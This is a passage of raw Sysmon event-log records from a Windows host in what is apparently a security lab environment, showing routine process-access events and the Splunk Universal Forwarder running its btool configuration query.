09:09:36.215{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001737Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.215{A5F018FF-28D0-5F80-4100-000000007F01}39883992C:\Program Files\SplunkUniversalForwarder\bin\btool.exe{A5F018FF-28D0-5F80-4200-000000007F01}4008C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+239c|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2568|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2926|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+11cf|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+1245|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+aa24|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000001736Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.227{A5F018FF-28D0-5F80-4200-000000007F01}4008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe8.0.2splunkd servicesplunk ApplicationSplunk Inc.splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool web list settings --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589{A5F018FF-28D0-5F80-4100-000000007F01}3988C:\Program Files\SplunkUniversalForwarder\bin\btool.exebtool web list settings --no-log 10341000x80000000000000001735Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.215{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D0-5F80-4100-000000007F01}3988C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001734Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.215{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001733Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.215{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001732Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.215{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001731Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.215{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001730Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.215{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001729Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.215{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001728Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.215{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001727Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.215{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001726Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.215{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001725Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.215{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-28D0-5F80-4100-000000007F01}3988C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001724Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.215{A5F018FF-28D0-5F80-4000-000000007F01}39763980C:\Windows\system32\cmd.exe{A5F018FF-28D0-5F80-4100-000000007F01}3988C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000001723Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.221{A5F018FF-28D0-5F80-4100-000000007F01}3988C:\Program Files\SplunkUniversalForwarder\bin\btool.exe8.0.2btoolsplunk ApplicationSplunk Inc.btool.exebtool web list settings --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B{A5F018FF-28D0-5F80-4000-000000007F01}3976C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /c btool web list settings --no-log 10341000x80000000000000001722Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.215{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-28D0-5F80-4000-000000007F01}3976C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001721Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.215{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001720Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.215{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001719Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.215{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001718Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.215{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001717Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.215{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001716Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.215{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001715Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.215{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001714Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.215{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001713Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.215{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001712Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.215{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-28D0-5F80-4000-000000007F01}3976C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001711Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.200{A5F018FF-28D0-5F80-3F00-000000007F01}39563960C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe{A5F018FF-28D0-5F80-4000-000000007F01}3976C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\System32\ucrtbase.dll+9ea4a|C:\Windows\System32\ucrtbase.dll+9e42e|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+43bc6|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+6665|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+146d6|C:\Program 